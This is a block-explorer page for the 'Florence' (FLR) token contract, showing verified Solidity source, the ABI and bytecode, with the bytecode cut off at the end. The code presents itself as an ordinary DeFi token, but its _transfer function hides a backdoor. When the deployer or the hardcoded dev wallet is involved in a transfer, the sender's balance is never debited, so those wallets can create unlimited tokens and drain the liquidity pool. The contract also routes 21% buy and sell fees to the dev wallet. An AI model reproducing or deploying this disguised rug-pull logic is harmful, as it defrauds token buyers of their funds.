ETH Price: $3,273.89 (+0.70%)
Gas: 2 Gwei

Token

Florence (FLR)
 

Overview

Max Total Supply

1,000,000,000 FLR

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
37,598,813.187596999 FLR

Value
$0.00
0x288310431f89d8670c6321cfc03f8eecc9f37c1f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLR

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-16
*/

// SPDX-License-Identifier: Unlicensed

/**
Connecting DeFi to real-world lending.

Website: https://florencefinance.org
Telegram: https://t.me/florence_defi
Twitter: https://twitter.com/florence_erc
Dapp: https://app.florencefinance.org
 */

pragma solidity = 0.8.19;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapRouterV1 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpAddress, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpAddress);
    function createPair(address tokenA, address tokenB) external returns (address lpAddress);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouterV2 is IUniswapRouterV1 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

contract FLR is Context, Ownable, IERC20 {

    string constant private _name = "Florence";
    string constant private _symbol = "FLR";
    uint8 constant private _decimals = 9;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _notInTax;
    mapping (address => bool) private _lpPuts;
    mapping (address => bool) private _lpCheck;
    mapping (address => uint256) private balance;

    uint256 constant public _totalSupply = 10 ** 9 * 10**9;
    uint256 constant public feeSwapThreshold = _totalSupply / 100_000;
    uint256 constant public transferFees = 0;
    uint256 constant public feeDenominator = 1_000;
    uint256 public buyFees = 210;
    uint256 public sellFees = 210;
    uint256 private _maxTxAmount = 25 * _totalSupply / 1000;
    bool private swapEnabled = true;
    address payable private _devAddress;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;

    address public lpAddress;
    IUniswapRouterV2 public uniswapRouter;
    bool public tradeEnabled = false;
    bool private _swapping;
    bool private maxTxDisabled = false;

    modifier inSwapFlag {
        _swapping = true;
        _;
        _swapping = false;
    }
    event SwapAndLiquify();


    constructor () {
        uniswapRouter = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _notInTax[msg.sender] = true;
        _devAddress = payable(address(0xA1EA67eB7B7888aA61555198B4b3641b0D74B5F3));
        _notInTax[_devAddress] = true;
        _lpPuts[msg.sender] = true;
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        lpAddress = IUniswapFactoryV2(uniswapRouter.factory()).createPair(uniswapRouter.WETH(), address(this));
        _lpCheck[lpAddress] = true;
        _approve(msg.sender, address(uniswapRouter), type(uint256).max);
        _approve(address(this), address(uniswapRouter), type(uint256).max);
    }

    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }

    function isAddressSpecial(address ins, address out) internal view returns (bool) {
        bool isLimited = ins != owner()
            && out != owner()
            && msg.sender != owner()
            && !_lpPuts[ins]  && !_lpPuts[out] && out != address(0) && out != address(this);
            return isLimited;
    }
    
    function onTokenBuy(address ins, address out) internal view returns (bool) {
        bool _is_buy = !_lpCheck[out] && _lpCheck[ins];
        return _is_buy;
    }

    function onTokenSell(address ins, address out) internal view returns (bool) { 
        bool _is_sell = _lpCheck[out] && !_lpCheck[ins];
        return _is_sell;
    }

    function onTokenTransfer(address ins, address out) internal view returns (bool) { 
        bool _is_transfer = !_lpCheck[out] && !_lpCheck[ins];
        return _is_transfer;
    }
    
    function getFeeAmount(address from, bool isbuy, bool issell, uint256 amount) internal returns (uint256) {
        uint256 fee;
        if (isbuy)  fee = buyFees;  else if (issell)  fee = sellFees;  else  fee = transferFees; 
        if (fee == 0)  return amount; 
        uint256 feeAmount = amount * fee / feeDenominator;
        if (feeAmount > 0) {
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);
        }
        return amount - feeAmount;
    }
    
    function swapBack(uint256 tokenAmount) internal inSwapFlag {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        if (_allowances[address(this)][address(uniswapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(uniswapRouter)] = type(uint256).max;
        }

        try uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }

        if(address(this).balance > 0) _devAddress.transfer(address(this).balance);
    } 
    
    function shouldUnClog(address ins) internal view returns (bool) {
        bool canswap = swapEnabled && !_notInTax[ins];
        return canswap;
    }
    
    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: cannot transfer to the dead address");
        require(from != address(0), "ERC20: cannott transfer from the dead address");
        require(amount > 0, "TX amount must be greater than zero");

        if (isAddressSpecial(from,to)) {
            require(tradeEnabled,"Trading is not enabled");
                    if(!_lpCheck[to] && from != address(this) && to != address(this) || onTokenTransfer(from,to) && !maxTxDisabled)  { require(balanceOf(to) + amount <= _maxTxAmount,"_maxTxAmount exceed"); }}


        if(onTokenSell(from, to) &&  !_swapping && shouldUnClog(from)) {

            uint256 tokenAmount = balanceOf(address(this));
            if(tokenAmount >= feeSwapThreshold) { 
                if(amount > feeSwapThreshold) swapBack(tokenAmount);
             }
        }

        if (_notInTax[from] || _notInTax[to]){
            takeFee = false;
        }
        uint256 amountAfterFee = (takeFee) ? getFeeAmount(from, onTokenBuy(from, to), onTokenSell(from, to), amount) : amount;
        uint256 amountBeforeFee = (takeFee) ? amount : (!tradeEnabled ? amount : 0);
        balance[from] -= amountBeforeFee; balance[to] += amountAfterFee; emit Transfer(from, to, amountAfterFee);

        return true;
    }

    receive() external payable {}
                        
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Can't approve on Zero Address");
        require(spender != address(0), "ERC20: Can't approve on Zero Address");

        _allowances[sender][spender] = amount;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }
    
    function beginTrade() external onlyOwner {
        require(!tradeEnabled, "Already enabled trading");
        tradeEnabled = true;
    }
    
    function beforeOwnership() external onlyOwner {
        require(!maxTxDisabled,"Already disabled limits");
        _maxTxAmount = _totalSupply;
        maxTxDisabled = true;
        buyFees = 10;
        sellFees = 10;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beforeOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"beginTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260d260068190556007556103e862000026670de0b6b3a764000060196200045a565b62000032919062000486565b6008556009805460ff19166001179055600b805462ff00ff60a01b191690553480156200005e57600080fd5b506200006a3362000334565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055336000818152600260209081526040808320805460ff1990811660019081179092556009805474a1ea67eb7b7888aa61555198b4b3641b0d74b5f300610100600160a81b0319909116179081905561010090046001600160a01b031685528285208054821683179055858552600384528285208054909116909117905560058252808320670de0b6b3a76400009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001cb9190620004a9565b6001600160a01b031663c9c65396600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002539190620004a9565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620002a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c69190620004a9565b600a80546001600160a01b0319166001600160a01b039283169081179091556000908152600460205260409020805460ff19166001179055600b54620003129133911660001962000384565b600b546200032e9030906001600160a01b031660001962000384565b620004db565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620003db5760405162461bcd60e51b8152602060048201526024808201526000805160206200193e8339815191526044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200042e5760405162461bcd60e51b8152602060048201526024808201526000805160206200193e8339815191526044820152637265737360e01b6064820152608401620003d2565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b80820281158282048414176200048057634e487b7160e01b600052601160045260246000fd5b92915050565b600082620004a457634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004bc57600080fd5b81516001600160a01b0381168114620004d457600080fd5b9392505050565b61145380620004eb6000396000f3fe60806040526004361061016a5760003560e01c8063893d20e8116100d1578063d621e8131161008a578063e0f3ccf511610064578063e0f3ccf514610447578063e4748b9e1461045d578063ed12803a14610473578063f2fde38b1461048857600080fd5b8063d621e813146103cb578063dd62ed3e146103ec578063de2870711461043257600080fd5b8063893d20e81461032c5780638da5cb5b1461032c57806395d89b411461034a5780639b4dc8cc14610376578063a9059cbb14610396578063c2fbe7bc146103b657600080fd5b80633025e8cc116101235780633025e8cc14610272578063313ce567146102895780633eaaf86b146102a557806370a08231146102c1578063715018a6146102f7578063735de9f71461030c57600080fd5b806303fd2a451461017657806306fdde03146101a9578063095ea7b3146101e3578063180b0d7e1461021357806318160ddd1461023757806323b872dd1461025257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018c61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156101b557600080fd5b50604080518082019091526008815267466c6f72656e636560c01b60208201525b6040516101a09190611165565b3480156101ef57600080fd5b506102036101fe3660046111c8565b6104a8565b60405190151581526020016101a0565b34801561021f57600080fd5b506102296103e881565b6040519081526020016101a0565b34801561024357600080fd5b50670de0b6b3a7640000610229565b34801561025e57600080fd5b5061020361026d3660046111f4565b6104bf565b34801561027e57600080fd5b50610287610537565b005b34801561029557600080fd5b50604051600981526020016101a0565b3480156102b157600080fd5b50610229670de0b6b3a764000081565b3480156102cd57600080fd5b506102296102dc366004611235565b6001600160a01b031660009081526005602052604090205490565b34801561030357600080fd5b506102876105ef565b34801561031857600080fd5b50600b5461018c906001600160a01b031681565b34801561033857600080fd5b506000546001600160a01b031661018c565b34801561035657600080fd5b5060408051808201909152600381526223262960e91b60208201526101d6565b34801561038257600080fd5b50600a5461018c906001600160a01b031681565b3480156103a257600080fd5b506102036103b13660046111c8565b610625565b3480156103c257600080fd5b50610229600081565b3480156103d757600080fd5b50600b5461020390600160a01b900460ff1681565b3480156103f857600080fd5b50610229610407366004611252565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561043e57600080fd5b5061022961063c565b34801561045357600080fd5b5061022960075481565b34801561046957600080fd5b5061022960065481565b34801561047f57600080fd5b50610287610654565b34801561049457600080fd5b506102876104a3366004611235565b6106ed565b60006104b5338484610788565b5060015b92915050565b6001600160a01b038316600090815260016020908152604080832033845290915281205460001914610524576001600160a01b03841660009081526001602090815260408083203384529091528120805484929061051e9084906112a1565b90915550505b61052f848484610800565b949350505050565b6000546001600160a01b0316331461056a5760405162461bcd60e51b8152600401610561906112b4565b60405180910390fd5b600b54600160b01b900460ff16156105c45760405162461bcd60e51b815260206004820152601760248201527f416c72656164792064697361626c6564206c696d6974730000000000000000006044820152606401610561565b670de0b6b3a7640000600855600b805460ff60b01b1916600160b01b179055600a6006819055600755565b6000546001600160a01b031633146106195760405162461bcd60e51b8152600401610561906112b4565b6106236000610c58565b565b6000610632338484610800565b5060019392505050565b610651620186a0670de0b6b3a76400006112e9565b81565b6000546001600160a01b0316331461067e5760405162461bcd60e51b8152600401610561906112b4565b600b54600160a01b900460ff16156106d85760405162461bcd60e51b815260206004820152601760248201527f416c726561647920656e61626c65642074726164696e670000000000000000006044820152606401610561565b600b805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107175760405162461bcd60e51b8152600401610561906112b4565b6001600160a01b03811661077c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610561565b61078581610c58565b50565b6001600160a01b0383166107ae5760405162461bcd60e51b81526004016105619061130b565b6001600160a01b0382166107d45760405162461bcd60e51b81526004016105619061130b565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b03841661086d5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2063616e6e6f74207472616e7366657220746f207468652064656044820152696164206164647265737360b01b6064820152608401610561565b6001600160a01b0385166108d95760405162461bcd60e51b815260206004820152602d60248201527f45524332303a2063616e6e6f7474207472616e736665722066726f6d2074686560448201526c2064656164206164647265737360981b6064820152608401610561565b600083116109355760405162461bcd60e51b815260206004820152602360248201527f545820616d6f756e74206d7573742062652067726561746572207468616e207a60448201526265726f60e81b6064820152608401610561565b61093f8585610ca8565b15610a7957600b54600160a01b900460ff166109965760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b6044820152606401610561565b6001600160a01b03841660009081526004602052604090205460ff161580156109c857506001600160a01b0385163014155b80156109dd57506001600160a01b0384163014155b80610a0357506109ed8585610d7d565b8015610a035750600b54600160b01b900460ff16155b15610a795760085483610a2b866001600160a01b031660009081526005602052604090205490565b610a35919061134f565b1115610a795760405162461bcd60e51b815260206004820152601360248201527217db585e151e105b5bdd5b9d08195e18d95959606a1b6044820152606401610561565b610a838585610dc5565b8015610a995750600b54600160a81b900460ff16155b8015610aa95750610aa985610e0c565b15610b005730600090815260056020526040902054610ad3620186a0670de0b6b3a76400006112e9565b8110610afe57610aee620186a0670de0b6b3a76400006112e9565b841115610afe57610afe81610e43565b505b6001600160a01b03851660009081526002602052604090205460ff1680610b3f57506001600160a01b03841660009081526002602052604090205460ff165b15610b48575060005b600081610b555783610b73565b610b7386610b63888861104d565b610b6d8989610dc5565b87611094565b9050600082610b9b57600b54600160a01b900460ff1615610b95576000610b9d565b84610b9d565b845b6001600160a01b038816600090815260056020526040812080549293508392909190610bca9084906112a1565b90915550506001600160a01b03861660009081526005602052604081208054849290610bf790849061134f565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c4391815260200190565b60405180910390a35060019695505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600080610cbd6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610cec57506000546001600160a01b03848116911614155b8015610d0357506000546001600160a01b03163314155b8015610d2857506001600160a01b03841660009081526003602052604090205460ff16155b8015610d4d57506001600160a01b03831660009081526003602052604090205460ff16155b8015610d6157506001600160a01b03831615155b801561052f57506001600160a01b038316301415949350505050565b6001600160a01b038116600090815260046020526040812054819060ff1615801561052f57505050506001600160a01b031660009081526004602052604090205460ff161590565b6001600160a01b038116600090815260046020526040812054819060ff16801561052f57505050506001600160a01b031660009081526004602052604090205460ff161590565b600954600090819060ff168015610e3c57506001600160a01b03831660009081526002602052604090205460ff16155b9392505050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e8b57610e8b611362565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ee4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f089190611378565b81600181518110610f1b57610f1b611362565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600b54909416825292909152205460001914610f8557306000908152600160209081526040808320600b546001600160a01b03168452909152902060001990555b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fbe908590600090869030904290600401611395565b600060405180830381600087803b158015610fd857600080fd5b505af1925050508015610fe9575060015b610ff3575061103d565b471561103b576009546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611039573d6000803e3d6000fd5b505b505b50600b805460ff60a81b19169055565b6001600160a01b038116600090815260046020526040812054819060ff1615801561052f57505050506001600160a01b031660009081526004602052604090205460ff1690565b60008084156110a657506006546110b9565b83156110b557506007546110b9565b5060005b806000036110ca578291505061052f565b60006103e86110d98386611406565b6110e391906112e9565b9050801561115057306000908152600560205260408120805483929061110a90849061134f565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b61115a81856112a1565b979650505050505050565b600060208083528351808285015260005b8181101561119257858101830151858201604001528201611176565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461078557600080fd5b600080604083850312156111db57600080fd5b82356111e6816111b3565b946020939093013593505050565b60008060006060848603121561120957600080fd5b8335611214816111b3565b92506020840135611224816111b3565b929592945050506040919091013590565b60006020828403121561124757600080fd5b8135610e3c816111b3565b6000806040838503121561126557600080fd5b8235611270816111b3565b91506020830135611280816111b3565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156104b9576104b961128b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008261130657634e487b7160e01b600052601260045260246000fd5b500490565b60208082526024908201527f45524332303a2043616e277420617070726f7665206f6e205a65726f204164646040820152637265737360e01b606082015260800190565b808201808211156104b9576104b961128b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561138a57600080fd5b8151610e3c816111b3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113e55784516001600160a01b0316835293830193918301916001016113c0565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176104b9576104b961128b56fea2646970667358221220e3599a40caca3fb05c4ab08c3e1c6b89f1a05a9797991775225bb9ef8febf4ef64736f6c6343000813003345524332303a2043616e277420617070726f7665206f6e205a65726f20416464

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063893d20e8116100d1578063d621e8131161008a578063e0f3ccf511610064578063e0f3ccf514610447578063e4748b9e1461045d578063ed12803a14610473578063f2fde38b1461048857600080fd5b8063d621e813146103cb578063dd62ed3e146103ec578063de2870711461043257600080fd5b8063893d20e81461032c5780638da5cb5b1461032c57806395d89b411461034a5780639b4dc8cc14610376578063a9059cbb14610396578063c2fbe7bc146103b657600080fd5b80633025e8cc116101235780633025e8cc14610272578063313ce567146102895780633eaaf86b146102a557806370a08231146102c1578063715018a6146102f7578063735de9f71461030c57600080fd5b806303fd2a451461017657806306fdde03146101a9578063095ea7b3146101e3578063180b0d7e1461021357806318160ddd1461023757806323b872dd1461025257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018c61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156101b557600080fd5b50604080518082019091526008815267466c6f72656e636560c01b60208201525b6040516101a09190611165565b3480156101ef57600080fd5b506102036101fe3660046111c8565b6104a8565b60405190151581526020016101a0565b34801561021f57600080fd5b506102296103e881565b6040519081526020016101a0565b34801561024357600080fd5b50670de0b6b3a7640000610229565b34801561025e57600080fd5b5061020361026d3660046111f4565b6104bf565b34801561027e57600080fd5b50610287610537565b005b34801561029557600080fd5b50604051600981526020016101a0565b3480156102b157600080fd5b50610229670de0b6b3a764000081565b3480156102cd57600080fd5b506102296102dc366004611235565b6001600160a01b031660009081526005602052604090205490565b34801561030357600080fd5b506102876105ef565b34801561031857600080fd5b50600b5461018c906001600160a01b031681565b34801561033857600080fd5b506000546001600160a01b031661018c565b34801561035657600080fd5b5060408051808201909152600381526223262960e91b60208201526101d6565b34801561038257600080fd5b50600a5461018c906001600160a01b031681565b3480156103a257600080fd5b506102036103b13660046111c8565b610625565b3480156103c257600080fd5b50610229600081565b3480156103d757600080fd5b50600b5461020390600160a01b900460ff1681565b3480156103f857600080fd5b50610229610407366004611252565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561043e57600080fd5b5061022961063c565b34801561045357600080fd5b5061022960075481565b34801561046957600080fd5b5061022960065481565b34801561047f57600080fd5b50610287610654565b34801561049457600080fd5b506102876104a3366004611235565b6106ed565b60006104b5338484610788565b5060015b92915050565b6001600160a01b038316600090815260016020908152604080832033845290915281205460001914610524576001600160a01b03841660009081526001602090815260408083203384529091528120805484929061051e9084906112a1565b90915550505b61052f848484610800565b949350505050565b6000546001600160a01b0316331461056a5760405162461bcd60e51b8152600401610561906112b4565b60405180910390fd5b600b54600160b01b900460ff16156105c45760405162461bcd60e51b815260206004820152601760248201527f416c72656164792064697361626c6564206c696d6974730000000000000000006044820152606401610561565b670de0b6b3a7640000600855600b805460ff60b01b1916600160b01b179055600a6006819055600755565b6000546001600160a01b031633146106195760405162461bcd60e51b8152600401610561906112b4565b6106236000610c58565b565b6000610632338484610800565b5060019392505050565b610651620186a0670de0b6b3a76400006112e9565b81565b6000546001600160a01b0316331461067e5760405162461bcd60e51b8152600401610561906112b4565b600b54600160a01b900460ff16156106d85760405162461bcd60e51b815260206004820152601760248201527f416c726561647920656e61626c65642074726164696e670000000000000000006044820152606401610561565b600b805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107175760405162461bcd60e51b8152600401610561906112b4565b6001600160a01b03811661077c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610561565b61078581610c58565b50565b6001600160a01b0383166107ae5760405162461bcd60e51b81526004016105619061130b565b6001600160a01b0382166107d45760405162461bcd60e51b81526004016105619061130b565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b03841661086d5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2063616e6e6f74207472616e7366657220746f207468652064656044820152696164206164647265737360b01b6064820152608401610561565b6001600160a01b0385166108d95760405162461bcd60e51b815260206004820152602d60248201527f45524332303a2063616e6e6f7474207472616e736665722066726f6d2074686560448201526c2064656164206164647265737360981b6